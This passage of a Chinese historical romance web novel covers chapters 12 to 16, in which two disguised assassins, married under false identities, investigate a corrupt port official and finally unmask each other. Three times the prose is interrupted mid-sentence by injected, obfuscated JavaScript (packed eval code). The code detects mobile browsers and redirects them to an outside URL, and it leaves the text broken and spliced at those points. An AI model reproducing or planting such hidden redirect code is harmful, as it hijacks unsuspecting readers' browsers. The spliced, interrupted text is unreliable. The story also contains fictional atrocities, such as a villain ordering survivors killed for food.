黄泉来到正堂,向两人见礼:“见过祖父,见过岳父大人。” 齐山调侃道:“怎么见你岳父就是大人,见我就没大人了。” 黄泉皮道:“人家闺女都进咱家了,我叫一声大人,也是应该的吧。” 接着又摆出一副拿自家祖父没办法的样子朝朱克道:“您看,我祖父这是这样,您别跟他一般见识。" 朱克笑着摇摇头:“我这个岳父也是不太厚道呀,你和皎儿刚成亲,就要让你们小两口先分开一阵子了。” 黄泉的脸色瞬间垮掉,看不出任何作伪的痕迹,紧张问道:“发生了何事?” 齐山:“港口那边出了点事情,我和朱县令商量了一下,想让你亲自去一趟。” 朱齐二人便将港口那边的情况一五一十、事无巨细地给黄泉说了一遍。两人决定联手将金豹除掉,又必须得派个两人都信得过的人去,以免派去的人又变成第二个金豹。 作为齐山的孙子,朱克道女婿,齐瀚的身份最为合适。 黄泉听港口的情况时,眉头紧锁,心想无论如何,他都要找机会亲自去港口看一眼,面上却苦着脸朝齐山抱怨:“您说过不让我去港口的!而且我这才成亲第二天!您就忍心让你的孙媳妇儿独守空房吗!” 说完还偷瞟了眼朱克的脸色,看他是何反应。 朱克赶在齐山开口骂孙子之前解围道:“此事是我提议的。不关齐将军的事。确是我这个做岳父的不厚道了,但瀚儿,我和你祖父能相信的只有你了,所以此行非你莫属。且你须得在这两天就尽快动身,以防金豹得到了消息提前将账册都销毁了。皎儿那边你不用担心,我会和她说清楚的,她不会因此怪你。” 齐山不语,只朝孙子哼了一声。 这事便这么定下了,明日一早,黄泉便要动身前往港口。 离府时,下了一早的雨终于停了,街上的人陆续多了起来,黄泉依旧是打马回去,身影消失在朝城南去的方向。 在他走后,一道隐在暗处的身影闪现出来,无声无息地缀在他后面,一直跟到了夫妻二人位于城南的新宅。 黄泉的衣裳被淋湿了,想先在前院换了衣裳,不料刚一进门便见妻子正在堂中等他。 “你骑马去的?全都湿了。”碧落迎上前,皱眉担忧地看着他,吩咐身边丫鬟道:“去取件新的来。” 黄泉回来路上一直在想港口的事,回到府上看着迎候自己的妻子,仿佛是从外面的凄风苦雨重新跌入了温柔乡,他有些不自在道:“无碍,小事罢了。” 碧落当然不是特地来扮演贤妻良母的,她只想知道齐山找孙子到底是为了什么事:“把湿的先脱下来吧,穿在身上容易着凉。” 黄泉本来是想直接脱的,可此时却又不知为何,磨磨蹭蹭地不动了。 或许是昨夜过于放纵的思绪让他明白,他对眼前的人有非分之想,根本不是之前预想的那样,可以跟朱姑娘只做表面夫妻。但又如清晨故意袒露身体那般,克制不住地想要在人家面前开屏,希望对方也能对自己产生倾慕和好感。 呵,又在这装起来了。碧落心道。 她将要替黄泉褪去外衫的手收回来,退后一步,垂头道:“我……我只想尽到一个妻子的本分,虽然……虽然……,但我既嫁与你,这些事我便愿意为你做。只不知你心里是如何想的,若你不愿” “不!我不是这个意思。”黄泉慌张解释,这才意识到自己心里有鬼,欲盖弥彰了,“你误会了,我只是……不想你劳累,这些让下人做便好。” 碧落扬眸一笑:“谢夫君体谅,我不累。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这话说得很是通情达理,黄泉心里却有些不舒服,他想,今日才是两人成亲第二日,我第三日便要走,你却留都不留我一下,别人成亲后可不是这样的。 难道,是因为两人昨夜没有圆房?没叫妻子见识自己的真本事? 啊不对!他不是齐瀚,不圆房才是对的! 可…… 他的确不是齐瀚,但朱姑娘为何就不能是她的妻子呢? 这个念头出现时,黄泉自己都吓了一跳。自己怎么会有这种想法?明明以前从来没想过成亲这回事。 朱姑娘出身江陵郑氏,是名副其实的世家贵女,嫁给齐瀚这个将军之孙已然是下嫁,更遑论嫁给自己,一个……见不得光的江湖草莽。 难道要让朱姑娘和自己一起浪迹天涯,过朝不保夕的日子吗? 死在他手上的权贵数不胜数,门阀贵胄以往在他眼中皆是一踏即碎的朽木,他刀锋所向处,再贵不可言的人都不过是蝼蚁。 这是他人生中第一次,感受到家世门第的鸿沟。 我真是疯了,黄泉想,从昨晚开始,便陷入了一场荒唐的梦。 或许离开一阵子是好事,待他从港口回来,一切就会恢复正常。 在离开之前,他还得再见黑白无常两人一面,今早在将军府门外一路跟踪自己回来的那人究竟是何身份,也要尽快搞清楚。 傍晚时分,乔装后的黑白无常二人又偷偷缀上正在巡逻的黄泉,三人照例转到一僻静处。 见四下无人,无常一把拉住黄泉,张口便将一个惊天消息: “你那媳妇身份是假的!她根本不是朱克的女儿!” 12. 婚后背调 自从知道黄泉要和朱县令的女儿结婚后,无常就视这个女人为阻碍两派联姻的此生大敌! 他势要扒出这个郑氏女的黑历史,然后添油加醋地跟黄泉好好说道说道,让黄泉赶紧弃了她。 自从上次回去,他就一直掘地三尺地做这件事,终于!让他抓到了把柄! 江陵城破前,郑氏一族确实举族搬出了城,而朱克的旧情人,也即这个朱姑娘所谓的母亲,也的确病逝在了逃难的路上。 可无常派出的线人问遍了所有能问的郑氏族人,居然没有一个人敢肯定,这个和朱克有过私情的族人,生过一个孩子。 一个未出嫁的女子,却有了个孩子,本就是不光彩的事,若母亲将孩子隐瞒下来,也能理解,郑氏这样的大族,姻亲遍地,旁支繁杂,随便给这孩子一个别的什么身份,也能让其存活下来。 无常也并未因此就对郑氏女的身份起疑,直到……他找到了朱姑娘母亲的墓。 黄泉又惊又怒:“什么!你居然派人把皎儿母亲的墓给掘了?!还开馆验尸!你还是不是人!” 无常痛心疾首道:“还皎儿!皎个屁!那具女尸从来就没生育过!哪来的什么孩子!朱克根本就没这个女儿!” 黄泉被这消息砸懵了,愣了半晌才反驳道:“你怎么就能确定,那具女尸就是朱姑娘的母亲?现在外面这么乱,到处都在死人,万一你找错了呢?” 无常:“绝对没错!因为那是郑氏族人亲口说的埋葬之地!而且棺木和一应随葬物品也绝不是普通死于乱军中的民女能用得起的!” 黄泉:“那也有可能是其他在路上死去的郑氏女子的墓啊!” 无常:“其他死去的郑氏女子,都是生育过的!” 黄泉犹不死心,却被无常打断道:“别跟我说,你觉得死去的郑氏女子都生育过这个消息是假的,你要这样说,天底下便没有消息是完全可信的。” 说完,又抓住黄泉的肩膀摇了摇,像是要摇醒他:“我真不明白,都说得这么清楚了,为什么你还是不信!那女人给你下迷魂汤了吗!” 一旁的黑白亦不解地看他,等他回答。 黄泉的思绪的确很乱,刚被自己亲手掐断的绮思,对无常掘坟的震惊,朱姑娘隐瞒身份的疑惑,以及……重新燃起的或许可以和妻子继续下去的窃喜。 “你让我好好想想……”黄泉后退一步,制止了想要再说下去的无常,“就算朱姑娘的身份有疑点,现在也不是揭穿的时候,逼她坦白身份只会把潞城的局面搞得更乱。当下我和她一起单独在城南住,对我们的计划也是有利的。” 无常简直想扑上去揍他,虽然打不过:“你到底有没有听我刚刚说了什么,重点是潞城的局势吗!重点是你身边的这个女人,她居心叵测啊!怎么能继续留她在身边!说不定她就是朱克随便找来一个冒充自己女儿的人,然后安插在你身边当奸细的!” 黄泉依旧不为所动:“那也是朱克安插在齐瀚身边的奸细,要探听的是将军府的消息。” 无常还想争辩,黄泉抢先道:“好了!叫你们出来是有别的事,港口的事情你们知道了吗?” 黑白无常二人点头,这也是他们要说的第二件事, 见二人知晓情况,黄泉直接道:”齐山和朱克准备派我去港口一趟,明日一早就动身。“ 无常先是一愣,而后大喜! 对啊,直接把黄泉支走!让他去港口待一阵子,把他和那个郑氏女隔离!让两人见不着面!就算那郑氏女再有手段,也没用武之地! “那你也不能带你那朱姑娘去,海堤决口了,港口很危险,再说也没理由让人家跟你去海边日晒雨淋的。”无常的态度简直进转如风。 黄泉无语地看他一眼:“我当然不会带她去,但你们两个也别去找她麻烦,把心思用在正事上。我刚去将军府的时候被一个人跟踪了,我装作没看见,你们去查下。你们自己决定,一个随我一起去港口,另一个留在潞城待命,查清这件事。” 无常敷衍应下,见黄泉还是如此护着朱克的那假女儿,心中愤愤。 你等着吧!我马上给煌山堂的人去信,让碧落也去港口,等你们两人都到了,就让你和碧落一天十二个时辰绑在一起做任务! 不做出真感情来,就不让你回潞城! 另一边,黄泉离府后,偌大的宅子便只剩碧落一人当家做主。 她自小学的便是如何治理一个国家,而今换成小小一方宅院,更是信手拈来。 不过半日,府中上下就被她恩威并施,治理得服服帖帖,对这位郑氏女的手段心服口服。还有不少下人削尖了脑袋想要在这位新主母身边凑,但能近碧落身边伺候的,只有阿青一人。 书房里,天光透过雕花的窗棂照在的宣纸上,碧落一边练字一边问:“我们在港口那边有人吗?” 阿青在一旁研墨:“有,自从您上次吩咐以后,就在港口那边安插了人手。” 碧落颔首:“那等齐瀚去港口后,我以探亲为由,也去港口一趟。” 阿青:“港口受灾应该挺严重的,现在那边乱作一团,让我和您一起去吧。” 碧落:“不必,我另外带几个丫鬟家丁去就行,这趟不会停留太久,主要想看下内港的情况。” 阿青急道:“您带上我吧,万一有情况,我也能” 碧落搁笔,抬手阻止她:“你须得留在潞城,一是为了和荣夫人还有幽夜司对接消息,二是为我看好府中上下。我只要摸清了港口的情况,很快就会回来,把情况透给周令,让他自己安排去。” 又听到了周令的名字,阿青偷偷看自家殿下的脸色。 她一直搞不清殿下对周令的态度。 当年殿下被陛下指婚给周令时,她和殿下一样,对周令只有恨,迁怒他让殿下和皇位失之交臂。 可后来,国亡城破,镇北侯府几乎满门战死,为后楚流干了最后一滴血,只剩下了周令这一个幺子。仇恨被时间冲淡,再看周令,心中反而多了一丝故国故人的温情。 阿青想,或许殿下也是这样的吧。当年周令找到殿下,想要娶殿下为妻,殿下虽然没有答应,但这么多年来,煌山堂暗中帮了周令不少事,殿下还是念旧情的。 碧落瞥见阿青的脸色,就知道这丫头又想歪了,笑道:“你是不是也觉得,周令这人不错,至少比齐瀚好多了。” 阿青的心思被殿下看穿,也不遮掩:“在我看来,这世间的男子,没一个能配得上殿下的。但非要在周令和齐瀚两人中选一个,当然还是周令更好些。” “就你嘴甜。”碧落笑着刮了下阿青的鼻梁,“知道我为什么要去港口吗?” 阿青想了想,殿下来潞城是因她们猜到,周令想要以潞城为下一个据点,而一旦开战…… “难道周令会从海上出兵?”阿青惊道。 碧落不置可否:“或许只是他的其中一个选择。当年周家手中握着的可不止那十万镇北军,驻扎在江陵的两万水军被镇北侯的长子领着。而这两万水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214097|197351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军在王城决战时几乎没有参战,实力保存得很好。不出意外的话,这两万水军现也在周令手里。” 窗外又飘起雨来,阿青上前把窗户合上,防止雨水打进来沾湿了宣纸。 碧落望着廊下越来越密集的雨,道:“现在是雨季,海上风高浪急,但只要雨季一过,从港口登岸杀进潞城,就是最好的选择。我猜周令十有八九会从港口出兵,就看内港的损毁情况,能不能在短时间内修好,否则船靠不了岸,雨停了也白搭。” 阿青明白了自家殿下的计划,又问:“那到时我们可要留下,和周令里应外合” 还没听完她的话,碧落就果断摇头:“不可,我们的人手不够,也没必要和周令牵扯过深,等把港口的情况传递给他,在他出兵潞城之前,我们便离开。” 阿青应是,又小声嘀咕:“这不是白给人干活嘛,什么好处都没捞着。之前就一直给他白干活。” 碧落轻拍她的额头,低声教训道:“帮他,是因为造反势力一个比一个烂,周令是矮子里拔将军,目前最有指望的一个了。但若真让煌山堂成了他手里的刀,将来天下大定,我们都要奉他为主,我会被他抓去后宫关着,你们要么被他弄死,要么替他卖命,你愿意?” 阿青立刻反驳:“呸!谁要替他卖命!他也关不了殿下!敢关我们就把皇宫给他打穿了!” 碧落轻笑摇头,心想,若真到那时候,周令就是天下之主,他想做什么都没人能拦得住。无论是煌山堂还是幽夜司,要么在他称帝之前隐匿行踪,散入江湖,要么俯首称臣,心甘情愿地当他的家奴。 傍晚,黄泉回府,碧落命人在前院摆了晚膳。 天气潮湿闷热,黄泉回来时浑身又是湿漉漉的,于是先去浴房沐浴。 出来时,却见下人把他往前院领,他疑问:“夫人在前院?” “是,您一回来夫人就吩咐我们在前院摆膳,都已经准备好了,就等您了。” 黄泉不知妻子是何意思,他今早让人把早膳设在了后院两人的卧房里,本以为晚膳也会在后院吃,这样吃完了他就直接不走了,继续和妻子睡一个屋。 他心中有些别扭,来到前院,妻子正在等他,见到他时,眸光闪亮,展颜一笑道:“原来你先去沐浴了,快用膳吧,一会儿该凉了。” 黄泉没有束发,长发半干,披散在肩头,乌黑而稠密,衬得他灯下的眉眼都更加浓郁了几分。 他身上披了一件交领外衫,照例把领子交到了腹沟那里,只用一条腰带松松垮垮地系着,勾勒出他的肩背线条和微翘的臀部。 也不知他里面有没有再穿衣服了,碧落心想。 碧落从一出生就是皇太女,身边的人无不礼仪得体,进退有度,就算背后再怎么放浪形骸,也无人敢当着她的面放肆。后来她做了煌山堂真的话事人,威严更盛,下属在她面前更是战战兢兢,唯恐行差踏错。 而此时的黄泉在她眼中,只能用四个字来形容:卖俏诲淫* 而碧落……可耻地心动了。 “都下去吧,阿青也是。”碧落吩咐道。 下人陆续退下,阿青恶狠狠地盯了黄泉一眼,恨恨退下。 这家伙一定是在勾引殿下!谁家好人穿交领把领口开那么低的!还披头散发,成何体统! 最后一个离开的下人不知脑子搭错了哪根筋,顺手把门给关上了。 阿青:“……” 黄泉沐浴后的皂角气息弥漫在微凉的空气中,屋内只剩下夫妻二人。 14. 夫人来找 潞城港以东,三里渔村。 太阳炽烈得刺眼,村子里一个人也没有。 七日前,台风过境,潮水退去后,留下了及腰深的淤泥,淤泥里零落地插着断木,碎瓦,渔网,还有……断手断脚。 或许也没断,只是浪来时被淹了,尸体埋在里面,没挖出来。 夏日温度极高,湿度也大,时不时还要下点太阳雨,黑黄的沤水在地势低洼处汇集,苍蝇乱飞,散发着恶臭。 两个兵卒打扮的人站在高处,俯视这如同鬼蜮一般的村落。 一人问:“搜过了吗?还有人吗?” 另一人道:“淤泥那么深,怎么搜啊。肯定没人了,没被淹死的都挤在这片高地上,前两天都被带去内港那边了。” “行,那再去看看下个村。” 港口府衙后院,门窗紧闭。 见鬼的天不知为何又下起了雨,室内昏暗潮湿,屏风后摆着一个巨大的冰鉴,冒着白雾的冷气源源不断向四周扩散。 金豹歪在一张矮榻上,怀里搂着衣着清凉的美妾,另一只手搭在臂搁上,手指一下下敲着,心不在焉。 敲门声响起,金豹没动,阴鸷地扫了眼门口,沉声道:“进。” 一名手下推门而入,颤微微地跪在地上:“大人,齐” “说了多少遍!进屋立刻关门!冷气都跑了!”金豹突然暴喝出声,把怀里的美妾吓得一个哆嗦,颤抖着缩起身体。 手下连滚带爬地把门关上,继续跪趴在地上,头埋得更低。 金豹乏味地将怀里的人推下去,冷斥道:“滚!” 待那美妾退出门,他朝手下扬了扬下巴:“齐山的孙子,什么时候到?” 手下:“刚刚已经到了。” 闻言,金豹坐直身子:“这么快?” 手下:“是,午时刚到。嫌府衙不干净,住到镇上的酒楼里去了,还说今天赶路太乏了,要休息,有什么事明日再说。” “呵。”金豹笑了一声,又靠回榻上:“走得这么快,估计也是觉得路上太热,他带了多少人?” “一队二十人的随从。” “二十……”金豹暗自思忖道。 二十人,不算太多,也不算太少,若这二十人都是精锐,对付起来也有些麻烦。但见齐山这孙子的德行,是个吃不了苦的,带再多的人也没用。 金豹:“把酒肉和女人都准备好,明日咱们便去会会这孙子。” 下人:“听说朱县令将女儿嫁给了齐山的这个孙子,那朱县令那边……” 一提到这,金豹就来气。他只是半个月没从潞城那边探听消息,朱克和齐山这两个老贼居然成了亲家! 两家大婚时,港口正值台风过境,他没来得及遮掩首尾,朱齐二人倒是先通了气。自己在港口多年的经营,竟因这一步错,而岌岌可危。 但,还没到满盘皆输的时候。 这两人虽然成了亲家,但一山不容二虎,迟早还要斗起来。既然没法两头瞒堵了,就彻底投靠齐山,将原本给朱克的那份利,给齐山,换他保自己继续经营港口。 朱克知道齐山昧下了自己的钱,在亲的亲家也得撕破脸。到时候,就让他们再斗去吧。 金豹:“不用管,只管将齐山的这个孙子哄好。他一个从乡下来的傻小子,刚成了亲就被派道港口来,肯定离不得女人,用女人缠住他,别让他乱跑。待将他伺候舒服了,让他回去跟齐山说两句好话,此事便能成。” 下人应是,仍在地上趴着,没有出去。 金豹皱眉问:“还有什么事?” 下人抖得厉害:“没,没没什么,就是跟您汇报下,附近的村子都搜过了,没有人了,还活着的都已经安排去内港修堤坝了。但是这群人……撑不了太久,要不要……给他们发些粮食,让他们” 还没等他说完,金豹一脚将他踹翻在地:“给他们粮食?你是不是脑子被水泡了?这粮食谁出?从你的口粮里出吗!” 下人又跪趴回去,惊恐道:“不不,不是,只是那群人……快要累死了,若是都累死了,这,这堤坝也怕修不成了。” 金豹踞坐回榻上,压着眉眼思索了阵,道:“把老弱的和青壮的分开,老弱的分批砍了,煮成肉汤,给那群青壮的喝。就跟他们说,那些老弱,修堤的时候被浪卷走了。” 下人抬头,不可置信地看着金豹:“什……什么?” 金豹冰冷地看向他:“我说,把那群老弱的剁了,让那群青壮的吃下去,听明白了吗?” 说罢,抓着那下人的衣领:“听不明白我就把你砍了去喂那群青壮,懂了吗?嗯?” 下人疯狂点头,从金豹的手里挣脱出来,逃命般离开了屋子。 翌日傍晚,在黄泉下榻的酒楼里,金豹张罗了一场极为奢侈的接风宴。 罗纱屏风将正厅围了起来,四角放着垒满冰块的冰鉴,冷气被封在这隐秘而喧嚣的方寸之地。 舞姬全身只裹着轻薄的纱衣,赤脚踩在地毯上,随着乐声摇摆玲珑的躯体。 来参加此次宴会的人并不多,总共加不过六七人,每个案几上都摆着造型精致的海味和冰镇的酒水。晃动的影子被烛光投在罗纱屏上,觥筹交错,遮遮晃晃。 金豹和黄泉坐在上首,下首的人坐得离两人很远。 黄泉只带了无常一人来,此时无常正坐在不远处,一边将酒水都浇在衣服上,一边摇头晃脑地欣赏舞姬的舞姿,装疯卖傻。 金豹怀里抱着个柔弱无骨的舞姬,心思却全在身旁的黄泉身上。 黄泉身边也有个舞姬,却在刚贴上来时就被他用脚抵着,未得近身,只能在他脚边依偎着。 他看起来很沉得住气。金豹没开口,他也不问,酒水一杯接着一杯,却不见丝毫醉意,虽然眼睛盯着舞姬,可眸光却一片清明。 本以为是个纨绔子弟,没想到……竟是个难糊弄的。 金豹心中暗骂一句,不得已先开口:“不知贤弟觉得今日这舞姬如何?” 黄泉转头,锐利的眼中含着冰冷的笑意:“红颜枯骨,有何可看的。再好看,也比不上兄长藏的金山呐。” 金豹登时脸色骤变,没想到这人竟一点不遮掩迂回,直接将那层窗户纸撕破。 他脸上的笑有些挂不住,还想装傻:“贤弟说笑了。港口就这么大,我上哪儿藏座金山去。” 黄泉笑着将头转了回去,继续欣赏舞姬,将他晾着。 金豹彻底变了脸色,黄泉愈是气定神闲,他愈是如坐针毡,终是沉不住气,先开口道:“不知齐将军此次派贤弟来,有何嘱咐?” 黄泉哼笑一声:“那就要先问齐将军,有何要交代的了?” 金豹知道,这次是躲不过去了,索性也不再遮掩,直接开出价码:“以前是我有负齐将军的恩情,若能得齐将军原谅,继续为他守这港口之地,我将和朱克断清,并将以前给朱克的,全部都用来孝敬齐将军他老人家。” 黄泉终于放下酒杯,拿正眼看金豹:“哦?那就是说,以前你孝敬朱克的那些钱,你都会从朱克那里讨回来,再献给我祖父了?” 金豹为难道:“贤弟说笑了,已经给出去了,还怎么要回来,我肯要,朱克那老贼也不会给啊。我是说,从今以后,我按照以前给朱克的比例,再多给齐将军一份孝敬,这样如何?” 黄泉:“可以前你给朱克的那些钱,本就是应该给祖父的,既然你没法从朱克那里把钱要回来,那就只能加在你以后的孝敬里了。” 金豹只觉不妙:“这是何意?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄泉于空中和无常对了个视线,转身,重新坐回座位上,气定神闲道:“好,既然兄长识时务,今日这酒,我便喝完再回去。” 上首的两人重新落座,下面的手下们也憋憋屈屈坐回席上。 金豹这下老实多了,黄泉问什么,他答什么,虽然还是十句中有五句假话,但好歹还有五句真的。黄泉由此推测出港口的财货和粮食藏在了什么地方,为晚上的任务做准备。 又推杯换盏了几轮,金豹逐渐从吓破胆的状态中缓了过来,见黄泉始终不碰跪侍在一旁的舞姬,联想起他新娶的朱克的女儿,是个世家女,便恭维道:“贤弟新娶了娇妻,便来了港口,却连碰都不碰这些舞姬一下,想必那朱克的女儿定是绝色了。” 黄泉微不可查地皱了皱眉,冷道:“自然不是这些庸脂俗粉能比的。” 见他如此反应,金豹试探道:“那朱克那边……” 黄泉瞥他一眼,不以为意道:“她母亲新丧,她却连给母亲守孝都不能,便被朱克嫁入齐家,就算是出身世家,也不过是一介孤女。我又怎么会因为一个孤女忌惮朱克。” 金豹没料到竟还有这样的背景:“那这……朱克女儿的孝就不守了?” 黄泉故作浪荡地笑了一声:“守孝当然可以,守身可不行。” 话音刚落,黄泉只觉背后陡然掠过一丝冷意,不禁回头: 只见冰鉴升腾的冷气晕散在罗纱屏风上,静悄悄地,什么动静也没有。 宴席散罢,众人离去。 黄泉准备上楼休息,忽的家中仆人来报:“老爷,夫人来港口看您了。” 愣了一下,黄泉的惊喜才猛的涌了上来:“真的?!她在哪儿?” 15. 小别胜新婚 完了,这个女人她铁定是赖上黄泉了! 居然都追到港口来了?怎么这么阴魂不散啊!这可是我给黄泉和碧落安排的相处时间!怎么能允许别的女人来插一脚! 无常在心中悲愤呐喊,丝毫没意识到自己的行为实际上是在帮自己兄弟找外室。 他刚想给黄泉上点眼药,就见黄泉已经跟着来报信的家仆,飞一样地去找他才两天没见的夫人去了。 无常急得直拍大腿,拍了半天,自己也跟了上去。 我倒要看看,这个女人是个什么样的天仙,把黄泉勾成这样! 黄泉的脚程很快,他心中的喜悦抑制不住地漫溢出来。 他从来没有想过妻子会来找自己,好吧,也隐隐期待过,但妻子竟然在他来港口的第二天就来找他了!这真是…… 这一瞬,黄泉突然明白了,什么叫做美人膝,英雄冢。 他好像真的有了这样一个妻子,舍不得刚成亲就和他分开,嘴上说着正事儿要紧,却忍不住想念他,想念到亲自来港口陪他。 她想晚上和他睡在一起,想醒来的第一眼就能看见他,想他散发着滚烫热意的身躯…… 咳咳,打住,不能再想了。 黄泉就这么,完全压不住嘴角笑意地,来到了妻子落榻的小院,然后…… 吃了个闭门羹。 黄泉:“?” 带他来的家仆也很摸不着头脑,明明离开前还是夫人亲口跟他说的,让他带老爷回小院住,怎么他把老爷带回来后,反而不让进了呢? 老爷此时正质问般看着他,看得他都快哭了:“真的!我没骗您!真的是夫人让我去找您的!她亲口跟我说的,让我在您忙完了以后去找您,叫您回来住。” 黄泉很烦躁,犹如大冬天烤火烤得正暖时,被人迎头泼了一盆冷水,简直莫名奇妙! 这下人应该不会骗他,那就是妻子自己赶来港口见他,却又在快见面时将他拒之门外。 那她干嘛来了? 难道是在她派人去找自己后发生了什么事? 可又能发生什么事呢?她刚到这儿,除了自己以外,甚至连个认识的人都没有。 黄泉百思不得其解,眉眼沉沉地盯着紧闭的院门,像一头蓄势待发的猛兽。 家仆离得远远的,生怕老爷发怒,波及自己。 就在此时,院门吱呀一声,从里面打开了。 又有一位家仆出来,朝黄泉行礼:“老爷,今日太晚,夫人已经睡下了,夫人身边的阿青让您先回去吧,明日再来。” 睡了? 没见到我,就睡了? 这到底是妻子的意思,还是那个看自己不顺眼的婢女阿青的意思! 黄泉周身的气压更低了,往院里看,正屋的确已经熄灯了。 真想闯进去,将她压在床上,把她弄醒,扣着她的手压在头顶,低头咬住她的唇,咬痛她,再质问她,到底还想怎么折磨他…… 欲望和暴戾在黄泉的脑中来回相撞,他深深闭上眼,吸一口气,最终强迫自己冷静下来:“知道了,让夫人休息吧。” 说罢,转身就走。 无常看着他强抑愤怒离开的背影,不知该高兴还是该绝望。 这都不能叫被迷住了,这简直是情根深种了啊! 唉!这全错了啊! 黄泉离开后,小院内的西厢房亮起了灯。 碧落正在为今晚的任务做最后的准备,一旁站着欲言又止的阿青。 阿青也不明白。 本来自己劝过殿下,今晚要出门做幽夜司的任务,把齐瀚叫到小院来,夜里离开的时候还要避着他,不如不叫。 可殿下当时一副兴致盎然的样子,说把他叫过来见一面,大不了晚上再让他出去睡,不碍事。 谁知,殿下只是出去转了一圈儿,探查了港口情况,回来的时候脸色就难看得吓人。还让人把齐瀚拦在了院外,面都没给见。 阿青不知道为什么,阿青也不敢问。 碧落穿上夜行衣,眉眼间尽是冷意。 港口的灾情,她傍晚出去的时候已经探查了七七八八,说一句人间地狱都不为过。 死的人不知道有多少,尸体就那么被埋在淤泥里,或是烂在路边,现在天气这么热,尸体腐烂,闹出瘟疫简直板上钉钉的事!金豹这个废物,连收拢尸体一把火烧了都不愿意做! 活着的人,全部被金豹拉去没日没夜的抢修内港,吃的饭是比沤水还稀的粥,休息时男女老少全在一个巨大的窝棚里睡,比家畜住的都挤! 都这样了,金豹居然还给齐瀚办什么接风宴!齐瀚居然还去了! 明明自己来之前跟他说过。就算他要代表齐山重新夺回港口的控制权,也不应该和金豹这种畜生沆瀣一气,对已经濒临死境的灾民,继续敲骨吸髓。 两人在席间商讨如何重新瓜分港口的利益时,自己就在屏风后听着,自然也听见了那句“守孝当然可以,守身可不行”。 呵!真是好笑!给他好脸色,他竟还真掂不清自己的斤两了。 更别说,她猜测齐瀚和黄泉是一个人。如果真是这样,她忍不住要怀疑,幽夜司这些年来,劫走的那些钱财,究竟都用在了什么地方!和这种表里不一的门派,还有没有结盟的必要! 反正今夜就要见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236879|197351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面了,碧落准备当面问个清楚。 子时一刻,碧落出发了。 就在碧落离开后不久,一道鬼鬼祟祟的影子,悄悄摸到了小院的墙根下,用三脚猫的功夫吃力地翻墙。 不是别人,正是无常。 在潞城的时候无常就想去见识见识这郑氏女的样子了,可惜黄泉不让,城南的新宅防守也严,他摸不进去。今天跟着黄泉来到小院,本来以为可以见到,却又和黄泉一起吃了闭门羹。 无常怎么想怎么奇怪,越奇怪他的好奇心就越旺盛,于是瞒着黄泉,趁夜来到这几乎没什么防守的小院,想从矮墙翻进去。 他也知道自己现在的行为和贼人强盗没什么区别,若让郑氏女看到了,定会觉得他是个极不正经的人。 但他不在乎!他巴不得被发现,被发现了以后,他就说他是齐瀚最好的兄弟!齐瀚默许他这么做的!正好让两人彻底掰了! 为了煌山堂和幽夜司的联姻大计,不过是区区这点名声罢了,他什么都能牺牲! 待无常吭哧吭哧地翻进院里,刚转身,就见一个青衣婢女正悠闲地端着水盆,站在身后堵着他! 无常吓得一屁股坐在地上,可定睛一看,他怎么觉得,这婢女好生面熟啊…… 待两人终于看清彼此的脸,阿青手里的铜盆,哐当一声砸在了地上,无常被泼了满头满脸的水…… 子时三刻,港口附近的一小镇,一处废弃棚屋里。 碧落到时,黄泉已经等着了。 这次,黄泉没心思再管谁是内应,内应有没有迟到,他现在满脑子都是被妻子拒之门外的耿耿于怀。 但见碧落来了,上次也从周令那里知道了碧落的身份,他略一颔首,礼尚往来地告知对方自己的身份:“前两次冒犯了。我是黄泉。” 他说完,就见对方一点反应也没有,一双眼睛颇含敌意地看着自己。 黄泉的心情本来就很差!心想今晚自己招谁惹谁了?怎么一个个的都给自己脸色看! 这前朝公主究竟是有什么毛病,自己主动打招呼,她瞪什么瞪! 黄泉也冷冷回视,盯着那双凤眼,互不相让。 看着看着,他忽然觉得有些不对劲,这眼睛…… 就在他愣神时,碧落上前一步,没有丝毫预兆地,一把扯下他蒙脸的面罩! 黄泉:“……” 这人到底有没有一点边界感! 上来就扯他面罩!有病吧! 黄泉几乎要破口大骂,他立刻退后一步,瞬间进入戒备状态。 就见眼前的碧落,也缓缓拉下自己的面罩。 黄泉:“!!!” 16. 夫妻坦白局 自己的妻子如果不是朱克的女儿,又会是什么身份? 朱克安插的眼线?朝廷派来的细作?甚至是周令暗中安排的人? 黄泉想过很多种答案。 但事实远比他料想的更加疯狂。 明明这两个人都出现过,可任凭黄泉想破脑袋也猜不到,妻子居然就是碧落! “这到底是怎么回事?”黄泉脑海中只有这一个想法,不自觉说了出来。 他甚至下意识想试探碧落是不是戴了人皮面具,结果刚伸手就被碧落一巴掌拍了回来。 相较于黄泉的震惊,碧落心中早有猜测,此时要淡定得多:“朱令女儿是我的假身份,齐山孙子是你的假身份,难猜吗?” 是了,黄泉想起无常之前说的,妻子朱克女儿这个身份是假的,如此一来便能说得通了。 